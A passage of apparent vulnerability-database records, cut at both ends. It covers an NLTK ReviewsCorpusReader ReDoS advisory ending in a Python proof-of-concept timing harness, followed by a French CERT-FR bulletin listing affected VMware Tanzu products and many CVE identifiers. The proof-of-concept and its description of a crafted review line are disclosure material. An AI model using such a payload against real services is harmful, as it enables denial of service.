None:\n            print(f\"  {n:\u003e7} {len(line):\u003e8}   {\u0027\u003e%.0fs TIMEOUT\u0027 % TIMEOUT:\u003e12}   {\u0027--\u0027:\u003e7}\")\n            prev = None\n        else:\n            ratio = f\"{t/prev:.1f}x\" if prev else \"--\"\n            print(f\"  {n:\u003e7} {len(line):\u003e8}   {t*1000:\u003e9.1f} ms   {ratio:\u003e7}\")\n            prev = t\n\n\ndef parity_check():\n    \"\"\"The bound must NOT change extraction on a realistic annotated line.\"\"\"\n    real = (\n        \"the picture quality[+2] and battery life[+1] are great but \"\n        \"the lens cap[-1] feels cheap and the menu system[-2] is slow\"\n    )\n    a = FEATURES_VULN.findall(real)\n    b = FEATURES_FIXED.findall(real)\n    print(\"\\n[parity] realistic annotated line \u2014 extraction must be identical\")\n    print(f\"  vulnerable regex -\u003e {a}\")\n    print(f\"  bounded   regex  -\u003e {b}\")\n    print(f\"  identical: {a == b}\")\n    return a == b\n\n\ndef main():\n    print(\"=\" * 66)\n    print(\" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)\")\n    print(\"=\" * 66)\n    print(f\" per-call timeout = {TIMEOUT:.0f}s   word bound (fix) = {WORD_BOUND}\")\n\n    bench(\"VULNERABLE  reviews.py L70-71\", FEATURES_VULN)\n    bench(\"BOUNDED     fix #3583\", FEATURES_FIXED)\n    same = parity_check()\n\n    print(\"\\n\" + \"=\" * 66)\n    print(\" Vulnerable: ~4x time per input doubling  =\u003e O(n^2) quadratic ReDoS\")\n    print(\" Bounded:    ~2x time per input doubling  =\u003e O(n)   linear, stays in ms\")\n    print(f\" Extraction parity on real annotations preserved: {same}\")\n    print(\" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().\")\n    print(\"=\" * 66)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Impact\nDenial of service. Processing a single crafted line through `ReviewsCorpusReader` consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.",
      "id": "BREW-safety-CVE-2026-12061",
      "modified": "2026-10-29T21:42:01Z",
      "published": "2026-08-13T17:33:32Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/nltk/nltk/security/advisories/GHSA-fg7f-2386-8897"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/nltk/nltk"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex",
      "upstream": [
        "GHSA-fg7f-2386-8897",
        "CVE-2026-12061",
        "PYSEC-2026-3582"
      ]
    }

    CERTFR-2026-AVI-1486

    Vulnerability from certfr_avis - Published: 2026-11-09 - Updated: 2026-11-09

    De multiples vulnérabilités ont été découvertes dans les produits VMware. Elles permettent à un attaquant de provoquer un problème de sécurité non spécifié par l'éditeur.

    Solutions

    Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).

    Impacted products
    Vendor Product Description
    VMware N/A VMware Tanzu RabbitMQ pour Kubernetes versions antérieures à 4.2.12
    VMware N/A VMware Tanzu RabbitMQ versions antérieures à 3.13.21
    VMware N/A VMware Tanzu Application Platform versions antérieures à 1.12.8
    VMware N/A VMware Tanzu for Valkey pour Kubernetes versions antérieures à 3.6.0
    VMware N/A VMware Tanzu for Postgres pour Kubernetes versions antérieures à 4.6.0
    VMware N/A VMware Tanzu RabbitMQ pour Kubernetes versions antérieures à 4.3.7
    VMware N/A VMware Tanzu Greenplum versions antérieures à 6.34.0
    VMware N/A VMware Tanzu RabbitMQ versions antérieures à 4.3.7
    VMware N/A VMware Tanzu RabbitMQ versions antérieures à 4.1.17
    VMware N/A VMware Tanzu Greenplum Command Center versions antérieures à 6.18.0
    VMware N/A VMware Tanzu Greenplum versions antérieures à 7.9.0
    VMware N/A VMware Tanzu GemFire versions antérieures à 10.2.9
    VMware N/A VMware Tanzu RabbitMQ pour Kubernetes versions antérieures à 3.13.21
    VMware N/A VMware Tanzu GemFire pour Kubernetes versions antérieures à 2.6.4
    VMware N/A VMware Tanzu Greenplum MCP Server versions antérieures à 1.1.0
    VMware N/A VMware Tanzu GemFire versions antérieures à 10.1.10
    VMware N/A VMware Tanzu Greenplum Platform Extension Framework versions antérieures à 8.1.0
    VMware N/A VMware Tanzu RabbitMQ pour Kubernetes versions antérieures à 4.1.17
    VMware N/A VMware Tanzu RabbitMQ versions antérieures à 4.2.12
    VMware N/A VMware Tanzu for MySQL pour Kubernetes versions antérieures à 2.0.6
    VMware N/A VMware Tanzu GemFire versions antérieures à 10.3.3
    VMware N/A VMware Tanzu GemFire Management Console versions antérieures à 1.5.0
    VMware N/A VMware Tanzu Data Flow pour Kubernetes versions antérieures à 2.1.7
    VMware N/A VMware Tanzu Greenplum Streaming Server versions antérieures à 2.4.0
    VMware N/A VMware Tanzu GemFire Vector Database versions antérieures à 1.2.3
    VMware N/A VMware Tanzu Greenplum Data Copy Utility versions antérieures à 2.9.8
    VMware N/A VMware Tanzu Greenplum pour Kubernetes versions antérieures à 1.2.0
    VMware N/A VMware Tanzu Greenplum Command Center versions antérieures à 7.8.0
    VMware N/A VMware Tanzu GemFire .NET Client versions antérieures à 1.0.3
    VMware N/A VMware Tanzu Greenplum Backup and Restore versions antérieures à 1.34.0
    VMware N/A Vmware Spring Cloud Gateway pour Kubernetes versions antérieures à 2.3.0
    VMware N/A VMware Tanzu GemFire Session Management versions antérieures à 2.0.1
    VMware N/A VMware Tanzu Greenplum Text versions antérieures à 4.1.0
    VMware N/A VMware Tanzu Greenplum Streaming Server versions antérieures à 1.4.0
    VMware N/A SQL Assistant for VMware Tanzu Data Intelligence versions antérieures à 1.1.0
    References
    Bulletin de sécurité VMware 39550 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39545 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39539 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39534 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39548 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39536 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39544 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39549 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39522 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39530 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39537 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39533 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware DSA-2026-24 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39518 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39542 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39517 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware DSA-2026-24 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39528 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39514 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39523 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39516 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39551 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39525 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39543 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39541 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39540 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware DSA-2026-24 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39527 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39519 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39546 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39521 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39538 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39529 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39535 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39515 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39531 2026-11-06 vendor-advisory
    Bulletin de sécurité VMware 39532 2026-11-06 vendor-advisory

    Show details on source website

    {
      "$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
      "affected_systems": [
        {
          "description": "VMware Tanzu RabbitMQ pour Kubernetes versions ant\u00e9rieures \u00e0 4.2.12",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu RabbitMQ versions ant\u00e9rieures \u00e0 3.13.21",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu Application Platform versions ant\u00e9rieures \u00e0 1.12.8",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu for Valkey pour Kubernetes versions ant\u00e9rieures \u00e0 3.6.0",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu for Postgres pour Kubernetes versions ant\u00e9rieures \u00e0 4.6.0",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu RabbitMQ pour Kubernetes versions ant\u00e9rieures \u00e0 4.3.7",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu Greenplum versions ant\u00e9rieures \u00e0 6.34.0",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu RabbitMQ versions ant\u00e9rieures \u00e0 4.3.7",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu RabbitMQ versions ant\u00e9rieures \u00e0 4.1.17",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu Greenplum Command Center versions ant\u00e9rieures \u00e0 6.18.0",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu Greenplum versions ant\u00e9rieures \u00e0 7.9.0",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu GemFire versions ant\u00e9rieures \u00e0 10.2.9",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu RabbitMQ pour Kubernetes versions ant\u00e9rieures \u00e0 3.13.21",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu GemFire pour Kubernetes versions ant\u00e9rieures \u00e0 2.6.4",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu Greenplum MCP Server versions ant\u00e9rieures \u00e0 1.1.0",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu GemFire versions ant\u00e9rieures \u00e0 10.1.10",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu Greenplum Platform Extension Framework versions ant\u00e9rieures \u00e0 8.1.0",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu RabbitMQ pour Kubernetes versions ant\u00e9rieures \u00e0 4.1.17",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu RabbitMQ versions ant\u00e9rieures \u00e0 4.2.12",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu for MySQL pour Kubernetes versions ant\u00e9rieures \u00e0 2.0.6",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu GemFire versions ant\u00e9rieures \u00e0 10.3.3",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu GemFire Management Console versions ant\u00e9rieures \u00e0 1.5.0",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu Data Flow pour Kubernetes versions ant\u00e9rieures \u00e0 2.1.7",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu Greenplum Streaming Server versions ant\u00e9rieures \u00e0 2.4.0",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu GemFire Vector Database versions ant\u00e9rieures \u00e0 1.2.3",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu Greenplum Data Copy Utility versions ant\u00e9rieures \u00e0 2.9.8",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu Greenplum pour Kubernetes versions ant\u00e9rieures \u00e0 1.2.0",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu Greenplum Command Center versions ant\u00e9rieures \u00e0 7.8.0",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu GemFire .NET Client versions ant\u00e9rieures \u00e0 1.0.3",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu Greenplum Backup and Restore versions ant\u00e9rieures \u00e0 1.34.0",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "Vmware Spring Cloud Gateway pour Kubernetes versions ant\u00e9rieures \u00e0 2.3.0",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu GemFire Session Management versions ant\u00e9rieures \u00e0 2.0.1",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu Greenplum Text versions ant\u00e9rieures \u00e0 4.1.0",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "VMware Tanzu Greenplum Streaming Server versions ant\u00e9rieures \u00e0 1.4.0",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        },
        {
          "description": "SQL Assistant for VMware Tanzu Data Intelligence versions ant\u00e9rieures \u00e0  1.1.0",
          "product": {
            "name": "N/A",
            "vendor": {
              "name": "VMware",
              "scada": false
            }
          }
        }
      ],
      "affected_systems_content": "",
      "content": "## Solutions\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des correctifs (cf. section Documentation).",
      "cves": [
        {
          "name": "CVE-2025-6395",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-6395"
        },
        {
          "name": "CVE-2026-90828",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-90828"
        },
        {
          "name": "CVE-2026-75595",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-75595"
        },
        {
          "name": "CVE-2026-14671",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14671"
        },
        {
          "name": "CVE-2026-14380",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14380"
        },
        {
          "name": "CVE-2026-12061",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12061"
        },
        {
          "name": "CVE-2026-53910",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53910"
        },
        {
          "name": "CVE-2026-54293",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54293"
        },
        {
          "name": "CVE-2025-8715",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-8715"
        },
        {
          "name": "CVE-2026-56404",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56404"
        },
        {
          "name": "CVE-2026-58055",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-58055"
        },
        {
          "name": "CVE-2026-49978",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-49978"
        },
        {
          "name": "CVE-2025-66506",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-66506"
        },
        {
          "name": "CVE-2022-27943",
          "url": "https://www.cve.org/CVERecord?id=CVE-2022-27943"
        },
        {
          "name": "CVE-2025-66865",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-66865"
        },
        {
          "name": "CVE-2026-32777",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-32777"
        },
        {
          "name": "CVE-2026-70007",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-70007"
        },
        {
          "name": "CVE-2026-93565",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93565"
        },
        {
          "name": "CVE-2025-61730",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-61730"
        },
        {
          "name": "CVE-2026-54369",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54369"
        },
        {
          "name": "CVE-2026-27135",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-27135"
        },
        {
          "name": "CVE-2026-47221",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-47221"
        },
        {
          "name": "CVE-2026-97206",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-97206"
        },
        {
          "name": "CVE-2025-3264",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-3264"
        },
        {
          "name": "CVE-2025-53547",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-53547"
        },
        {
          "name": "CVE-2026-47204",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-47204"
        },
        {
          "name": "CVE-2026-42308",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42308"
        },
        {
          "name": "CVE-2026-12252",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12252"
        },
        {
          "name": "CVE-2026-100666",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-100666"
        },
        {
          "name": "CVE-2025-31115",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-31115"
        },
        {
          "name": "CVE-2025-58183",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-58183"
        },
        {
          "name": "CVE-2026-82417",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-82417"
        },
        {
          "name": "CVE-2025-15282",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-15282"
        },
        {
          "name": "CVE-2018-1115",
          "url": "https://www.cve.org/CVERecord?id=CVE-2018-1115"
        },
        {
          "name": "CVE-2026-71890",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-71890"
        },
        {
          "name": "CVE-2026-48776",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-48776"
        },
        {
          "name": "CVE-2026-93494",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93494"
        },
        {
          "name": "CVE-2025-58190",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-58190"
        },
        {
          "name": "CVE-2026-33947",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33947"
        },
        {
          "name": "CVE-2026-4878",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-4878"
        },
        {
          "name": "CVE-2026-11940",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-11940"
        },
        {
          "name": "CVE-2026-17106",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-17106"
        },
        {
          "name": "CVE-2026-27205",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-27205"
        },
        {
          "name": "CVE-2026-59205",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59205"
        },
        {
          "name": "CVE-2026-33845",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33845"
        },
        {
          "name": "CVE-2026-102598",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-102598"
        },
        {
          "name": "CVE-2026-56288",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56288"
        },
        {
          "name": "CVE-2026-34743",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-34743"
        },
        {
          "name": "CVE-2026-25087",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-25087"
        },
        {
          "name": "CVE-2026-56862",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56862"
        },
        {
          "name": "CVE-2025-68973",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-68973"
        },
        {
          "name": "CVE-2026-89092",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-89092"
        },
        {
          "name": "CVE-2026-94265",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-94265"
        },
        {
          "name": "CVE-2026-115455",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-115455"
        },
        {
          "name": "CVE-2026-53613",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53613"
        },
        {
          "name": "CVE-2026-53614",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53614"
        },
        {
          "name": "CVE-2026-59995",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59995"
        },
        {
          "name": "CVE-2026-44405",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-44405"
        },
        {
          "name": "CVE-2026-53877",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53877"
        },
        {
          "name": "CVE-2026-50252",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-50252"
        },
        {
          "name": "CVE-2026-16239",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-16239"
        },
        {
          "name": "CVE-2026-97032",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-97032"
        },
        {
          "name": "CVE-2026-42309",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42309"
        },
        {
          "name": "CVE-2026-42507",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42507"
        },
        {
          "name": "CVE-2026-33818",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33818"
        },
        {
          "name": "CVE-2026-12075",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12075"
        },
        {
          "name": "CVE-2026-77407",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77407"
        },
        {
          "name": "CVE-2026-6474",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6474"
        },
        {
          "name": "CVE-2026-42306",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42306"
        },
        {
          "name": "CVE-2026-15742",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-15742"
        },
        {
          "name": "CVE-2025-10148",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-10148"
        },
        {
          "name": "CVE-2026-39830",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39830"
        },
        {
          "name": "CVE-2026-63384",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-63384"
        },
        {
          "name": "CVE-2025-25724",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-25724"
        },
        {
          "name": "CVE-2026-6472",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6472"
        },
        {
          "name": "CVE-2025-14087",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-14087"
        },
        {
          "name": "CVE-2026-6469",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6469"
        },
        {
          "name": "CVE-2026-34180",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-34180"
        },
        {
          "name": "CVE-2026-68763",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-68763"
        },
        {
          "name": "CVE-2026-5160",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-5160"
        },
        {
          "name": "CVE-2026-41637",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-41637"
        },
        {
          "name": "CVE-2026-86805",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-86805"
        },
        {
          "name": "CVE-2026-1669",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-1669"
        },
        {
          "name": "CVE-2026-96234",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96234"
        },
        {
          "name": "CVE-2026-39956",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39956"
        },
        {
          "name": "CVE-2026-71886",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-71886"
        },
        {
          "name": "CVE-2026-45416",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-45416"
        },
        {
          "name": "CVE-2026-6846",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6846"
        },
        {
          "name": "CVE-2025-69645",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-69645"
        },
        {
          "name": "CVE-2026-73228",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-73228"
        },
        {
          "name": "CVE-2026-33186",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33186"
        },
        {
          "name": "CVE-2025-7545",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-7545"
        },
        {
          "name": "CVE-2026-39826",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39826"
        },
        {
          "name": "CVE-2026-45404",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-45404"
        },
        {
          "name": "CVE-2026-104851",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-104851"
        },
        {
          "name": "CVE-2026-44687",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-44687"
        },
        {
          "name": "CVE-2026-81723",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-81723"
        },
        {
          "name": "CVE-2026-78660",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-78660"
        },
        {
          "name": "CVE-2026-18374",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-18374"
        },
        {
          "name": "CVE-2026-80489",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-80489"
        },
        {
          "name": "CVE-2026-75806",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-75806"
        },
        {
          "name": "CVE-2026-77696",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77696"
        },
        {
          "name": "CVE-2026-19667",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-19667"
        },
        {
          "name": "CVE-2026-42766",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42766"
        },
        {
          "name": "CVE-2026-96636",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96636"
        },
        {
          "name": "CVE-2025-8556",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-8556"
        },
        {
          "name": "CVE-2026-12481",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12481"
        },
        {
          "name": "CVE-2026-112392",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112392"
        },
        {
          "name": "CVE-2026-13346",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-13346"
        },
        {
          "name": "CVE-2026-59848",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59848"
        },
        {
          "name": "CVE-2026-44740",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-44740"
        },
        {
          "name": "CVE-2026-53783",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53783"
        },
        {
          "name": "CVE-2026-47692",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-47692"
        },
        {
          "name": "CVE-2026-9076",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-9076"
        },
        {
          "name": "CVE-2026-50560",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-50560"
        },
        {
          "name": "CVE-2026-73508",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-73508"
        },
        {
          "name": "CVE-2026-95521",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-95521"
        },
        {
          "name": "CVE-2025-22872",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-22872"
        },
        {
          "name": "CVE-2026-12482",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12482"
        },
        {
          "name": "CVE-2026-15310",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-15310"
        },
        {
          "name": "CVE-2025-8277",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-8277"
        },
        {
          "name": "CVE-2025-8941",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-8941"
        },
        {
          "name": "CVE-2026-87863",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-87863"
        },
        {
          "name": "CVE-2026-42508",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42508"
        },
        {
          "name": "CVE-2026-84445",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-84445"
        },
        {
          "name": "CVE-2021-3572",
          "url": "https://www.cve.org/CVERecord?id=CVE-2021-3572"
        },
        {
          "name": "CVE-2025-66866",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-66866"
        },
        {
          "name": "CVE-2026-13608",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-13608"
        },
        {
